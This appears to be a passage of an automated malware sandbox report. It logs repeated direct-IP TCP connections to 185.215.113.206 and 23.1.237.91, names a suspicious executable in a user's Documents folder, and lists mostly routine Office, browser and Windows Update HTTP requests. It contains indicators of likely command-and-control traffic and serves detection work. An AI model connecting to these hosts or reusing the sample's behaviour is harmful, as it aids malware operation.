Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\DocumentsDBAAFIDGDA.exe

Code function: 21_2_00C5E0C0 recv,recv,recv,recv,

21_2_00C5E0C0

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RG6Nd1aE82NTwYU&MD=69fRbgRy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
